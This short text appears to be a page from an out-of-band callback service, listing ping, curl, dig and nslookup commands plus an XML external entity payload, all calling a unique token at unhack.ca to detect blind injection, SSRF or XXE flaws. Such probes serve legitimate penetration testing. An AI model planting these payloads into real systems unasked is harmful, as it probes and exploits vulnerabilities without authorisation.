$ ping -c1 -p 00247b956954509a74f72b783dc48500 unhack.ca
 

$ curl http://unhack.ca/p/247b956954509a74f72b783dc485
 

$ dig 247b956954509a74f72b783dc485 @unhack.ca
 

$ dig 247b956954509a74f72b783dc485.ns.unhack.ca
 

C:\> nslookup 247b956954509a74f72b783dc485 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/247b956954509a74f72b783dc485">]>
    <foo>&xxe;</foo>